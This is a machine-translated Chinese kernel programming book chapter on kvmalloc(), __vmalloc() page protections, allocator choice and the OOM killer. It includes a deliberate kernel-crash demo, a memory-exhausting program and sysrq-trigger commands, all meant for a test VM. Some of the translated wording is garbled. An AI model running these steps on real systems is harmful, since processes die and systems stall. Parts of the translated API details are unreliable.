-在许多情况下,用于执行内存分配的精确应用编程接口(或内存层)对调用者来说并不重要。因此,在许多内核代码路径中出现的一种使用模式类似于下面的伪代码: - -```sh -kptr = kmalloc(n); -if (!kptr) { - kptr = vmalloc(n); - if (unlikely(!kptr)) - <... failed, cleanup ...> -} - -``` - -这种代码的更干净的替代方案是`kvmalloc()` API。在内部,它试图像这样分配请求的`n`字节内存:首先,通过更高效的`kmalloc()`;如果它成功了,很好,我们很快就获得了物理上连续的内存并完成了;如果没有,则返回到通过较慢但更可靠的`vmalloc()`分配内存(从而获得虚拟连续内存)。其签名如下: - -```sh -#include -void *kvmalloc(size_t size, gfp_t flags); -``` - -(记得包含头文件。)注意,要通过(内部)`vmalloc()`(如果是这样的话),必须只提供`GFP_KERNEL`标志。像往常一样,返回值是一个指向分配内存的指针(一个内核虚拟地址),或者失败时的`NULL`。释放`kvfree`获得的内存: - -```sh -void kvfree(const void *addr); -``` - -这里的参数当然是从`kvmalloc()`开始的返回地址。 - -类似地,类似于`{k|v}zalloc()`API,我们也有`kvzalloc()` API,当然 *z* 访问内存内容。我建议你优先使用`kvmalloc()`应用编程接口(有一个常见的警告:它更安全,但速度稍慢)。 - -此外,您可以使用`kvmalloc_array()`应用编程接口为项目数组分配虚拟连续内存。它分配每个`size`字节的`n`元素。其实现如下所示: - -```sh -// include/linux/mm.h -static inline void *kvmalloc_array(size_t n, size_t size, gfp_t flags) -{ - size_t bytes; - if (unlikely(check_mul_overflow(n, size, &bytes))) - return NULL; - return kvmalloc(bytes, flags); -} -``` - -这里有一个重点:注意如何对危险的**整数溢出** ( **IoF** ) bug 进行有效性检查;这很重要,也很有趣;在需要时,通过在代码中执行类似的有效性检查来编写健壮的代码。 - -接下来,`kvcalloc()` API 在功能上等同于`calloc(3)`用户空间 API,只是`kvmalloc_array()` API 的简单包装: - -```sh -void *kvcalloc(size_t n, size_t size, gfp_t flags); -``` - -我们还提到,对于需要 *NUMA 感知*的代码(我们在[第 7 章](07.html)、*内存管理内部组件–要点*中的*物理内存组织*部分讨论了 NUMA 和相关主题),以下 API 可用,通过这些 API,我们可以指定要从中分配内存的特定 NUMA 节点作为参数(这是指向 NUMA 系统的指针;请务必查看下面的信息框): - -```sh -void *kvmalloc_node(size_t size, gfp_t flags, int node); -``` - -同样,我们也有`kzalloc_node()` API,它将内存内容设置为零。 - -In fact, generically, most of the kernel-space memory APIs we have seen ultimately boil down to one *that takes a NUMA node as a parameter*. For example, take the call chain for one of the primary page allocator APIs, the `__get_free_page()` API: -`__get_free_page() -> __get_free_pages() -> alloc_pages() -> alloc_pages_current() --> __alloc_pages_nodemask()` . The **`__alloc_pages_nodemask()`** API is considered to be the *heart* of the zoned buddy allocator; notice its fourth parameter, the (NUMA) nodemask: -`mm/page_alloc.c:struct page *` -`__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order, -int preferred_nid, nodemask_t *nodemask);` - -当然,你必须释放你带走的记忆;对于前面的`kv*()`应用编程接口(和`kcalloc()`应用编程接口),释放通过`kvfree()`获得的内存。 - -Another internal detail worth knowing about, and a reason the `k[v|z]malloc[_array]()`APIs are useful: with a regular `kmalloc()`, the kernel will indefinitely retry allocating the memory requested if it's small enough (this number currently being defined as `CONFIG_PAGE_ALLOC_COSTLY_ORDER`, which is `3`, implying 8 pages or less); this can actually hurt performance! With the `kvmalloc()` API, this indefinite retrying is not done (this behavior is specified via the GFP flags `__GFP_NORETRY|__GFP_NOWARN`), thus speeding things up. An LWN article goes into detail regarding the rather weird indefinite-retry semantics of the slab allocator: *The "too small to fail" memory-allocation rule, Jon Corbet, December 2014* ([https://lwn.net/Articles/627419/](https://lwn.net/Articles/627419/)). - -关于我们在本节中看到的`vmalloc_demo`内核模块,再快速看一下代码(`ch9/vmalloc_demo/vmalloc_demo.c`)。我们在评论中使用`kvmalloc()`和`kcalloc()` ( *第 3 步*和*第 4 步*)。让我们在 x86_64 Fedora 31 来宾系统上运行它,并查看输出: - -![](img/4f1c6465-29b3-436d-b777-1d3702dbeb77.png) - -Figure 9.4 – Output on loading our vmalloc_demo.ko kernel module - -我们可以从前面输出中的 API 中看到实际的返回(内核虚拟)地址——注意,它们都属于内核的 vmalloc 区域。注意`kvmalloc()`的返回地址(图 9.4 中的步骤 3);让我们在`proc`下搜索一下: - -```sh -$ sudo grep "^0x00000000fb2af97f" /proc/vmallocinfo -0x00000000fb2af97f-0x00000000ddc1eb2c 5246976 0xffffffffc04a113d pages=1280 vmalloc vpages N0=1280 -``` - -就在那里!我们可以清楚地看到对大量内存(5 MB)使用`kvmalloc()`应用编程接口如何导致`vmalloc()`应用编程接口被内部调用(T2】应用编程接口会失败,不会发出警告,也不会重试),因此,如您所见,`/proc/vmallocinfo`下的命中。 - -要解释`/proc/vmallocinfo`前面的字段,请参考这里的内核文档:[https://www . kernel . org/doc/Documentation/file systems/proc . txt](https://www.kernel.org/doc/Documentation/filesystems/proc.txt)。 - -Something for you to try out here: in our `ch9/vmalloc_demo` kernel module, change the amount of memory to be allocated via `kvmalloc()` by passing `kvnum=<# bytes to alloc>` as a module parameter. - -仅供参考,内核提供了一个内部助手应用编程接口`vmalloc_exec()` -它(再次)是`vmalloc()`应用编程接口的包装器,用于分配一个实际上连续的内存区域,该内存区域设置了执行权限。一个有趣的用户是内核模块分配代码路径(`kernel/module.c:module_alloc()`);内核模块(可执行部分)内存的空间是通过这个例程分配的。不过,这个例程不会导出。 - -我们提到的另一个助手例程是`vmalloc_user()`;它(又一次)是`vmalloc()` API 的包装器,用于分配一个清零的虚拟连续内存区域,适合映射到用户 VAS 中。该例程被导出;例如,它被几个设备驱动程序以及内核的性能事件环形缓冲区使用。 - -## 指定内存保护 - -如果您打算为您分配的内存页面指定特定的内存保护(读、写和执行保护的组合)会怎么样?在这种情况下,使用底层`__vmalloc()` API(它是导出的)。考虑内核源代码(`mm/vmalloc.c`)中的以下注释: - -```sh -* For tight control over page level allocator and protection flags -* use __vmalloc() instead. -``` - -`__vmalloc()` API 的签名显示了我们如何实现这一点: - -```sh -void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot); -``` - -FYI, from the 5.8 kernel, the `__vmalloc()` function's third parameter - `pgprot_t prot` - has been removed (as there weren't any users for page permissions besides the usual ones; [https://github.com/torvalds/linux/commit/88dca4ca5a93d2c09e5bbc6a62fbfc3af83c4fca](https://github.com/torvalds/linux/commit/88dca4ca5a93d2c09e5bbc6a62fbfc3af83c4fca)). Tells us another thing regarding the kernel community - if a feature isn't being used by anyone, it's simply removed. - -前两个参数是常见的疑点——所需的内存大小(以字节为单位)和分配的 GFP 标志。第三个参数是这里感兴趣的参数:`prot` 代表我们可以为内存页面指定的内存保护位掩码。例如,要分配 42 个设置为只读的页面(`r--`),我们可以执行以下操作: - -```sh -vrx = __vmalloc(42 * PAGE_SIZE, GFP_KERNEL, PAGE_KERNEL_RO); -``` - -当然,随后调用`vfree()`将内存释放回系统。 - -### 测试它–快速**概念验证** - -我们将在`vmalloc_demo`内核模块中尝试快速概念验证。我们通过`__vmalloc()`内核应用编程接口分配一个内存区域,指定页面保护为只读(或 *RO* )。然后,我们通过读取*并将*写入只读存储器区域来测试它。它的代码片段如下所示。 - -请注意,我们在下面的代码中默认保留了(傻傻的)`WR2ROMEM_BUG`宏未定义,这样你这个无辜的读者就不会让我们邪恶的`vmalloc_demo`内核模块简单地崩溃在你身上。因此,为了尝试这个概念验证,请取消对 define 语句的注释(如下所示),从而允许错误代码执行: - -```sh -static int vmalloc_try(void) -{ - [...] - /* 5\. __vmalloc(): allocate some 42 pages and set protections to RO */ -/* #undef WR2ROMEM_BUG */ -#define WR2ROMEM_BUG /* 'Normal' usage: keep this commented out, else we - * will crash! Read the book, Ch 9, for details :-) */ - if (!(vrx = __vmalloc(42*PAGE_SIZE, GFP_KERNEL, PAGE_KERNEL_RO))) { - pr_warn("%s: __vmalloc failed\n", OURMODNAME); - goto err_out5; - } - pr_info("5\. __vmalloc(): vrx = 0x%pK (actual=0x%px)\n", vrx, vrx); - /* Try reading the memory, should be fine */ - print_hex_dump_bytes(" vrx: ", DUMP_PREFIX_NONE, vrx, DISP_BYTES); -#ifdef WR2ROMEM_BUG - /* Try writing to the RO memory! We find that the kernel crashes - * (emits an Oops!) */ - *(u64 *)(vrx+4) = 0xba; -#endif - return 0; - [...] -``` - -运行时,当我们试图写入只读存储器时,它崩溃了!见以下部分截图(图 9.5;从在我们的 x86_64 Fedora 客户机上运行它): - -![](img/b0c393b0-0883-4adb-80f2-0d43469ad3f4.png) - -Figure 9.5 – The kernel Oops that occurs when we try and write to a read-only memory region! - -这证明,事实上,我们执行的`__vmalloc()`应用编程接口已经成功地将内存区域设置为只读。同样,前面(部分可见)内核诊断或*哎呀*消息解释的细节超出了本书的范围。尽管如此,还是很容易看到上图中突出显示的问题的根本原因:下面几行精确地指出了这个错误的原因: - -```sh -BUG: unable to handle page fault for address: ffffa858c1a39004 -#PF: supervisor write access in kernel mode -#PF: error_code(0x0003) - permissions violation -``` - -In user space applications, performing a similar memory protection setting upon an arbitrary memory region can be done via the `mprotect(2)` system call; do look up its man page for usage details (it even kindly provides example code!). - -### 为什么将内存设为只读? - -比如说,在分配时将内存保护指定为只读可能看起来是一件非常无用的事情:那么如何将内存初始化为一些有意义的内容呢?好吧,考虑一下–**守护页面**是这个场景的完美用例(类似于 SLUB 层在调试模式下保持的 redzone 页面);它确实有用。 - -如果我们想要只读页面,而不是保护页面,会怎么样?好吧,与其使用`__vmalloc()`,我们或许可以利用一些替代的手段:或许内存通过`mmap()`方法将一些内核内存映射到用户空间,并使用来自用户空间应用的`mprotect(2)`系统调用来设置适当的保护(或者甚至通过众所周知且经过测试的 LSM 框架来设置保护,例如 SELinux、AppArmor、Integrity 等等)。 - -我们以典型的内核内存分配器 API`kmalloc()`和`vmalloc()`之间的快速比较来结束本节。 - -## kmalloc()和 vmalloc()API–快速比较 - -下表快速比较了`kmalloc()`(或`kzalloc()`)和`vmalloc()`(或`vzalloc()`)原料药: - -| **特性** | **`kmalloc()`或`kzalloc()`** | **`vmalloc()`或`vzalloc()`** | -| **分配的内存为** | 物理上连续的 | 虚拟(逻辑)连续 | -| **记忆对齐** | 与硬件(中央处理器)缓存行对齐 | 页面对齐 | -| **最小粒度** | 依赖足弓;x86[_64]上低至 8 字节 | 1 页 | -| **性能** | 对于小内存分配(典型情况),速度要快得多(物理内存已分配);非常适合< 1 页的分配 | 较慢,按需分页(仅分配虚拟内存;涉及页面错误处理程序的 RAM 的惰性分配);可以为大型(虚拟)分配提供服务 | -| **尺寸限制** | 受限(通常为 4 MB) | 非常大(内核 vmalloc 区域在 64 位系统上甚至可以是几万亿字节,尽管在 32 位系统上要小得多) | -| **适宜性** | 适用于几乎所有性能重要、所需内存小的用例,包括 DMA(仍然使用 DMA API);可以在原子/中断环境中工作 | 适合大型软件(虚拟)连续缓冲区;较慢,不能在原子/中断上下文中分配 | - -这并不意味着一个优于另一个。它们的用法取决于具体情况。这将引导我们进入下一个——事实上非常重要的——主题:如何决定何时使用哪个内存分配 API?做出正确的决定实际上对于获得最佳的系统性能和稳定性至关重要–请继续阅读,了解如何做出选择! - -# 内核中的内存分配–什么时候使用哪些 API - -到目前为止,我们学到了一个非常快速的总结:内核用于内存分配(和释放)的底层引擎叫做页面(或伙伴系统)分配器。最终,每一次内存分配(以及随后的空闲)都要经过这一层。但是它也有一些问题,主要是内部碎片或浪费(因为它的最小粒度是一个页面)。因此,我们在它上面有一个层板分配器(或层板缓存),提供对象缓存和缓存页面片段的能力(帮助缓解页面分配器的浪费问题)。此外,不要忘记,您可以创建自己的自定义平板缓存,正如我们刚刚看到的,内核有一个`vmalloc`区域和 API,用于从其中分配*虚拟*页面。 - -记住这些信息,让我们继续前进。为了理解什么时候使用哪个应用编程接口,让我们首先看看内核内存分配应用编程接口集。 - -## 可视化内核内存分配应用编程接口集 - -下面的概念图向我们展示了 Linux 内核的内存分配层以及其中突出的 APIs 请注意以下几点: - -* 这里我们只显示内核向模块/驱动程序作者公开的(通常使用的)API(最终执行分配的除外——底部的`__alloc_pages_nodemask()` API!). -* 为了简洁起见,我们没有展示相应的释放内存的 API。 - -下面的图表显示了几个(向模块/驱动程序作者公开的)内核内存分配 API: - -![](img/ff0961b1-d6a9-4f80-9453-e4e8fd18923b.png) - -Figure 9.6 – Conceptual diagram showing the kernel's memory allocation API set (for module / driver authors) - -现在,您已经看到了大量可用的(公开的)内存分配 API,接下来的部分将深入研究如何帮助您做出在什么情况下使用哪个 API 的正确决定。 - -## 为内核内存分配选择合适的应用编程接口 - -有了这么多选择,我们该如何选择?虽然我们已经在本章和上一章中讨论了这个案例,但我们将再次总结它,因为它非常重要。一般来说,有两种方法来看待它——要使用的应用编程接口取决于以下几点: - -* 所需的内存量 -* 所需的内存类型 - -我们将在本节中说明这两种情况。 - -首先,要根据要分配的内存的类型、数量和连续性来决定使用哪个应用编程接口,请浏览以下流程图(从这里的“开始”标签的右上角开始): - -![](img/f1d99007-51ca-4de7-a44e-62232273a81e.png) - -Figure 9.7 – Decision flowchart for which kernel memory allocation API(s) to use for a module/driver - -当然,这不是小事;不仅如此,我还想提醒大家回忆一下我们在本章前面介绍的详细讨论,包括要使用的 GFP 标志(以及*不要在原子上下文中休眠*规则);实际上,以下内容: - -* 当在任何原子上下文中时,包括中断上下文,确保您只使用`GFP_ATOMIC`标志。 -* 否则(流程上下文),你决定使用`GFP_ATOMIC`还是`GFP_KERNEL`标志;在睡觉安全的时候使用`GFP_KERNEL` -* 然后,如使用 slab 分配器时的*注意事项部分所述:使用`k[m|z]alloc()` API 和朋友时,确保使用`ksize()`检查实际分配的内存。* - -接下来,要根据要分配的内存类型决定使用哪个 API,请浏览下表: - -| **所需内存类型** | **分配方式** | API | -| 内核模块,典型情况:少量(少于一页)的常规使用,物理上连续 | 平板分配器 | `k[m|z]alloc()`、`kcalloc()`和 `krealloc()` | -| 设备驱动程序:定期少量使用(< 1 页),物理上连续;适用于驱动程序`probe()`或初始化方法;推荐司机使用 | 资源管理的应用接口 | `devm_kzalloc()`和`devm_kmalloc()` | -| 物理上连续的通用用途 | 页面分配器 | `__get_free_page[s]()` -`get_zeroed_page()`,以及 -`alloc_page[s][_exact]()` | -| 物理上连续,用于**直接内存访问** ( **DMA** ) | 专门构建的 DMA API 层,带有 CMA(或平板/页面分配器) | (这里不涉及:`dma_alloc_coherent(), -dma_map_[single|sg]()`、Linux DMA 引擎 API 等等) | -| 几乎连续(对于大型纯软件缓冲区) | 间接通过页面分配器 | `v[m|z]alloc()` | -| 当不确定运行时大小时,虚拟地或物理地连续 | 平板或 vmalloc 区域 | `kvmalloc[_array]()` | -| 自定义数据结构(对象) | 创建和使用自定义板缓存 | `kmem_cache_[create|destroy]()`和 `kmem_cache_[alloc|free]()` | - -(当然与本表及*图 9.7* 流程图有一定重叠)。作为一般的经验法则,您的第一选择应该是 slab 分配器 API,即通过`kzalloc()`或`kmalloc()`;对于典型的小于一页大小的分配,这些是最有效的。此外,回想一下,当不确定所需的运行时大小时,可以使用`kvmalloc()`应用编程接口。同样,如果所需的尺寸恰好是 2 的完美舍入幂次页数(2 0 、2 1 ,...,2 MAX_ORDER-1 *页面*,那么使用页面分配器 API 将是最优的。 - -## DMA 和 CMA 一词 - -关于直接存储器存取的话题,虽然它的研究和使用超出了本书的范围,但我还是想提一下,Linux 有一套专门为直接存储器存取构建的应用编程接口,命名为*直接存储器存取引擎。*执行 DMA 操作的驱动程序作者非常希望使用这些 API,*而不是*直接使用平板或页面分配器 API(确实出现了微妙的硬件问题)。 - -此外,几年前,三星工程师成功地将一个名为***连续内存分配器** ( **CMA** )的补丁合并到主线内核中。本质上,它允许分配*大的物理连续内存*块(大小超过典型的 4 MB 限制!).这是某些内存密集型设备上的 DMA 所必需的(您想在大屏幕平板电脑或电视上播放超高清质量的电影吗?).酷的是,CMA 代码被透明地构建到了 DMA 引擎和 DMA 应用编程接口中。因此,像往常一样,执行直接存储器存取操作的驱动程序作者应该坚持使用 Linux 直接存储器存取引擎层。* - -*If you are interested in learning more about DMA and CMA, see the links provided in the Further reading section for this chapter. - -此外,要意识到我们的讨论主要是关于典型的内核模块或设备驱动程序作者。在操作系统内部,对单个页面的需求往往相当高(由于操作系统通过页面故障处理程序进行服务需求分页,即所谓的*小故障*故障)。因此,在幕后,内存管理子系统倾向于频繁发布`__get_free_page[s]()`API。此外,为了满足*页面缓存*(和其他内部缓存)的内存需求,页面分配器扮演着重要的角色。 - -好了,干得好,这下你有(差一点!)完成了我们关于各种内核内存分配层和 API 的两章内容(针对模块/驱动作者)!让我们用一个剩下的重要领域来结束这个大话题 Linux 内核的(相当有争议的)OOM 杀手;一定要读下去! - -# 活着 OOM 杀手 - -让我们首先介绍一些关于内核内存管理的背景细节,特别是回收空闲内存。这将使您能够理解内核 *OOM 杀手*组件是什么,如何使用它,甚至如何故意调用它。 - -## 回收内存——内核内务处理任务和 OOM - -如您所知,为了获得最佳性能,内核试图将内存页面的工作集保持在内存金字塔(或层次结构)中尽可能高的位置。 - -The so-called memory pyramid (or memory hierarchy) on a system consists of (in order, from smallest size but fastest speed to largest size but slowest): CPU registers, CPU caches (LI, L2, L3, ...), RAM, and swap (raw disk/flash/SSD partition). In our following discussion, we ignore CPU registers as their size is minuscule. - -因此,处理器使用其硬件缓存(L1、L2 等)来保存页面的工作集。但当然,CPU 缓存内存非常有限,因此很快就会耗尽,导致内存溢出到下一个层次——RAM。在现代系统上,即使是许多嵌入式系统,也有相当多的内存;尽管如此,如果操作系统内存不足,它会将无法再放入内存的内存页面溢出到原始磁盘分区–*交换*。因此,该系统继续运行良好,尽管一旦交换被(经常)使用,将会付出巨大的性能代价。 - -为了确保内存中始终有给定的最小数量的空闲内存页面可用,Linux 内核会不断执行后台页面回收工作——实际上,您可以将此视为常规内务处理。谁实际执行这项工作?`kswapd` 内核线程持续监控系统内存使用情况,并在感知到内存不足时调用页面回收机制。 - -此页面回收工作是在每个*节点:区域*的基础上完成的。内核使用所谓的*水印级别*–每*节点的最小值、低值和高值:区域*以智能方式确定何时回收内存页面。您可以随时查阅`/proc/zoneinfo`查看当前的水印级别。(请注意,水印级别的单位是页面。)此外,正如我们前面提到的,缓存通常是第一个受害者,并且随着内存压力的增加而缩小。 - -但是,让我们扮演魔鬼的拥护者:如果所有这些内存回收工作都无济于事,并且内存压力不断增加到整个内存金字塔耗尽的地步,甚至几页的内核分配都失败了(或者无限重试,坦率地说,这也是无用的,也许更糟),怎么办?如果所有的中央处理器缓存、内存和交换都(几乎)满了怎么办!?嗯,大多数系统只是在这一点上死亡(实际上,它们没有死亡,它们只是变得如此缓慢,以至于看起来好像它们被永久挂起了)。然而,作为 Linux,Linux 内核在这些情况下往往是激进的;它调用了一个名为 OOM 杀手*的组件。*OOM 杀手的工作——你猜对了!–识别并立即终止内存占用程序(通过向其发送致命的`SIGKILL`信号;它甚至可能最终杀死一大堆进程)。 - -正如你可能想象的那样,它也有它的争议。早期版本的 OOM 杀手受到了(相当正确的)批评。最近的版本使用了非常有效的高级试探法。 - -You can find more information on the improved OOM killer work (the kick-in strategy and the OOM reaper thread) in this LWN article (December 2015): *Toward more predictable and reliable out-of-memory handling:* [https://lwn.net/Articles/668126/](https://lwn.net/Articles/668126/). - -## 故意援引 OOM 杀手 - -为了测试内核 OOM 杀手,我们必须给系统施加巨大的内存压力。因此,内核将释放它的武器 OOM 杀手,一旦被调用,它将识别并杀死一些进程。因此,很明显,我强烈建议您在一个安全的隔离系统上尝试这样的东西,最好是一个测试 Linux 虚拟机(上面没有重要数据)。 - -### 通过魔法系统调用 OOM 杀手 - -内核提供了一个有趣的特性,叫做*魔法系统* : 本质上,某些键盘组合键(或加速器)会导致对某些内核代码的回调。例如,假设它已启用,在 x86[_64]系统上按下`Alt-SysRq-b`组合键会导致冷重启!注意,不要随便打什么,一定要看这里的相关文档:[https://www . kernel . org/doc/Documentation/admin-guide/sysrq . rst](https://www.kernel.org/doc/Documentation/admin-guide/sysrq.rst)。 - -让我们尝试一些有趣的事情;我们在 Fedora Linux 虚拟机上运行了以下内容: - -```sh -$ cat /proc/sys/kernel/sysrq -16 -``` - -这表明 Magic SysRq 功能已部分启用(本节开头提到的内核文档给出了详细信息)。为了完全启用它,我们运行以下命令: - -```sh -$ sudo sh -c "echo 1 > /proc/sys/kernel/sysrq" -``` - -好吧,那么说重点:你可以使用魔法系统调用 OOM 杀手! - -Careful! Invoking the OOM killer, via Magic SysRq or otherwise, *will* cause some process – typically the *heavy* one(s) – to unconditionally die! - -怎么做?作为根用户,只需键入以下内容: - -```sh -# echo f > /proc/sysrq-trigger -``` - -查看内核日志,看看是否有什么有趣的事情发生! - -### 用一个疯狂的分配器程序调用 OOM 杀手 - -我们还将在下一节演示一种更实际、更有趣的方法,通过这种方法,您可以(很可能)邀请 OOM 杀手加入。编写一个简单的用户空间 C 程序,它的行为就像一个疯狂的分配器,执行(通常)成千上万的内存分配,在每页上写一些东西,当然,永远不会释放内存,从而给内存资源带来巨大的压力。 - -像往常一样,我们只在下面的代码片段中显示源代码中最相关的部分;完整代码请参考并克隆本书的 GitHub repo 请记住,这是一个用户模式的应用,而不是内核模块: - -```sh -// ch9/oom_killer_try/oom_killer_try.c -#define BLK (getpagesize()*2) -static int force_page_fault = 0; -int main(int argc, char **argv) -{ - char *p; - int i = 0, j = 1, stepval = 5000, verbose = 0; - [...] - - do { - p = (char *)malloc(BLK); - if (!p) { - fprintf(stderr, "%s: loop #%d: malloc failure.\n", - argv[0], i); - break; - } - - if (force_page_fault) { - p[1103] &= 0x0b; // write something into a byte of the 1st page - p[5227] |= 0xaa; // write something into a byte of the 2nd page - } - if (!(i % stepval)) { // every 'stepval' iterations.. - if (!verbose) { - if (!(j%5)) printf(". "); - [...] - } - i++; - } while (p && (i < atoi(argv[1]))); -``` - -在下面的代码块中,我们展示了在运行定制的 5.4.0 Linux 内核的 x86_64 Fedora 31 VM 上运行我们的*疯狂分配器*程序时获得的一些输出: - -```sh -$ cat /proc/sys/vm/overcommit_memory /proc/sys/vm/overcommit_ratio0 -50 -$ << explained below >> - -$ ./oom-killer-try -Usage: ./oom-killer-try alloc-loop-count force-page-fault[0|1] [verbose_flag[0|1]] -$ ./oom-killer-try 2000000 0 -./oom-killer-try: PID 28896 -..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ...Killed -$ -``` - -`Killed`消息就是赠品!用户模式进程已被内核终止。一旦我们浏览内核日志,原因就变得显而易见了——这当然是 OOM 杀手(我们在*需求分页和 OOM* 部分展示了内核日志)。 - -## 理解 OOM 杀手背后的原理 - -浏览一下我们的`oom_killer_try`应用之前的输出:(在这个特定的运行中)33 个周期(`.`)出现在可怕的`Killed`消息之前。在我们的代码中,我们每分配 5000 次(2 页或 8 KB),就会发出一个`.`(通过`printf`)。因此,在这里,我们有 33 乘 5 周期,意思是 33 * 5 = 165 次= > 165 * 5000 * 8K ~= 6,445 MB。因此,我们可以得出结论,在我们的进程(虚拟地)分配了大约 6,445 MB (~ 6.29 GB)的内存之后,OOM 杀手终止了我们的进程!你现在需要明白为什么会在这个特定的数字上发生这种情况。 - -在这个特殊的 Fedora Linux 虚拟机上,内存是 2 GB *而* *交换空间*是 2gb;因此,*内存* *金字塔*中的总可用内存= (CPU 缓存+) RAM +交换。 - -这是 4 GB(为了简单起见,让我们忽略 CPU 缓存中相当微不足道的内存量)。但是,它回避了一个问题,为什么内核没有在 4 GB 点(或更低)调用 OOM 杀手?为什么只有 6 GB 左右?这是一个有趣的点:Linux 内核遵循**虚拟机过度承诺**策略,故意过度承诺内存(在一定程度上)。要了解这一点,请参见当前的`vm.overcommit`设置: - -```sh -$ cat /proc/sys/vm/overcommit_memory -0 -``` - -这确实是默认的(`0`)。允许值(只能由 root 设置)如下: - -* `0`:使用启发式算法允许内存过量使用(详见下一节);*默认。* - -* `1`:始终超量承诺;换句话说,永远不要拒绝任何`malloc(3)`;对某些使用稀疏内存的科学应用很有用。 - -* `2`:以下注释直接引用内核文档([https://www . kernel . org/doc/html/v 4.18/VM/超量承诺-记账. html #超量承诺-记账](https://www.kernel.org/doc/html/v4.18/vm/overcommit-accounting.html#overcommit-accounting)): - -*“不要过度承诺。系统的总地址空间提交不允许超过交换加上可配置的物理内存量(默认值为 50%)。根据您使用的数量,在大多数情况下,这意味着进程在访问页面时不会被终止,但会在适当的时候收到内存分配错误。对于希望保证其内存分配在未来可用而不必初始化每个页面的应用很有用”* - -超量承诺范围由超量承诺比率决定: - -```sh -$ cat /proc/sys/vm/overcommit_ratio -50 -``` - -我们将在下面的章节中研究两种情况。 - -### 情况 1–VM .超量承诺设置为 2,超量承诺关闭 - -首先,记住,这是*而不是*的默认。将`overcommit_memory`可调设置为`2`,用于计算总可用内存(可能过量)的公式如下: - -*总可用内存= (RAM +交换)*(超量承诺 _ 比率/100);* - -该公式仅在`vm.overcommit == 2`时适用。 - -在我们的 Fedora 31 虚拟机上,每个内存和交换内存分别为`vm.overcommit == 2`和 2 GB,这会产生以下结果(以千兆字节为单位): - -*总可用内存= (2 + 2) * (50/100) = 4 * 0.5 = 2 GB* - -This value – the (over)commit limit – is also seen in `/proc/meminfo` as the `CommitLimit` field. - -### 情况 2–VM .超量承诺设置为 0,超量承诺开启,默认值 - -这个*是*默认的。`vm.overcommit`设置为`0`(不是`2`):这样,内核有效地计算总的(超过的)提交内存大小,如下所示: - -*总可用内存= (RAM +交换)*(超量承诺 _ 比率+100%);* - -该公式仅在`vm.overcommit == 0`时适用。 - -在我们的 Fedora 31 虚拟机上,每个内存和交换内存分别为`vm.overcommit == 0`和 2 GB,该公式得出以下结果(以千兆字节为单位): - -*总可用内存= (2 + 2) * (50+100)% = 4 * 150% = 6 GB* - -因此,系统实际上假装总共有 6 GB 的可用内存。所以现在我们明白了:当我们的`oom_killer_try`进程分配了巨大的内存并且超过了这个限制(6 GB)时,OOM 杀手就跳了进来! - -We now understand that the kernel provides several VM overcommit tunables under `/proc/sys/vm`, allowing the system administrator (or root) to fine-tune it (including switching it off by setting `vm.overcommit` to the value `2`). At first glance, it may appear tempting to do so, to simply turn it off. Do pause though and think it through; leaving the VM overcommit at the kernel defaults is best on most workloads. - -(For example, setting the `vm.overcommit` value to `2` on my Fedora 31 guest VM caused the effective available memory to change to just 2 GB. The typical memory usage, especially with the GUI running, far exceeded this, causing the system to be unable to even log in the user in GUI mode!) The following links help throw more light on the subject: Linux kernel documentation: [https://www.kernel.org/doc/Documenta](https://www.kernel.org/doc/Documentation/vm/overcommit-accounting)[tion/vm/overcommit-accounting](https://www.kernel.org/doc/Documentation/vm/overcommit-accounting) and *What are the disadvantages of disabling memory overcommit in Linux?* : [https://www.quora.com/What-are-the-disadvantages-of-disabling-memory-overcommit-in-Linux](https://www.quora.com/What-are-the-disadvantages-of-disabling-memory-overcommit-in-Linux) . (Do see the *Further reading* section for more.) - -## 按需分页和 OOM - -回想一下我们在本章前面学习的真正重要的事实,在*内存分配和按需分页*一节中:由于操作系统使用的按需分页(或延迟分配)策略,当一个内存页面被`malloc(3)`(和朋友)分配时,它实际上只会导致在进程 VAS 的一个区域中保留虚拟内存空间;此时没有分配物理内存。只有当您对虚拟页面的任何字节执行一些操作(读、写或执行)时,MMU 才会引发页面错误(小错误),从而运行操作系统的页面错误处理程序。如果它认为这个内存访问是合法的,它就分配一个物理帧(通过页面分配器)。 - -在我们简单的`oom_killer_try`应用中,我们通过它的第三个参数`force_page_fault`来处理这个想法:当设置为`1`时,我们通过在每个循环迭代分配的两个页面的每一个的一个字节中写入一些东西来精确地模拟这种情况,任何东西都可以(如果需要,请再次查看代码)。 - -所以,既然你知道了这一点,让我们用第三个参数`force_page_fault`重新运行我们的应用,设置为`1`,以确实强制页面错误!以下是我在我的 Fedora 31 虚拟机(在我们定制的 5.4.0 内核上)上运行时得到的输出: - -```sh -$ cat /proc/sys/vm/overcommit_memory /proc/sys/vm/overcommit_ratio0 -50 -$ free -h - total used free shared buff/cache available -Mem: 1.9Gi 1.0Gi 76Mi 12Mi 866Mi 773Mi -Swap: 2.1Gi 3.0Mi 2.1Gi -$ ./oom-killer-try -Usage: ./oom-killer-try alloc-loop-count force-page-fault[0|1] [verbose_flag[0|1]] -$ ./oom-killer-try 900000 1 -./oom_killer_try: PID 2032 (verbose mode: off) -..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... ..... .Killed -$ -$ free -h - total used free shared buff/cache available -Mem: 1.9Gi 238Mi 1.5Gi 2.0Mi 192Mi 1.6Gi -Swap: 2.1Gi 428Mi 1.6Gi -$ -``` - -这一次,你可以真切地感受到系统在为记忆而战。这一次,由于实际的物理内存被分配给了 T2,它很快就用完了内存。(从前面的输出中,我们看到在这种特殊情况下是 15×5+1 个点(`.` 或周期);也就是 15 次 5 点+ 1 点= > = 76 次= > 76 * 5000 次循环迭代*每次迭代~ = 2969 MB 虚拟*和物理*分配!) - -显然,在这一点上,发生了两件事之一: - -* 系统内存和交换空间都用完了,因此无法分配页面,从而邀请 OOM 杀手进入。 -* 超出了计算的(人工)内核虚拟机提交限制。 - -我们可以很容易地查找这个内核虚拟机提交值(同样在我运行它的 Fedora 31 虚拟机上): - -```sh -$ grep CommitLimit /proc/meminfo -CommitLimit: 3182372 kB -``` - -这算下来约为 3,108 兆字节(远远超过我们计算的 2,969 兆字节)。因此,在这里,很可能所有的内存和交换空间都被用来运行图形用户界面和现有的应用,第一种情况开始发挥作用。 - 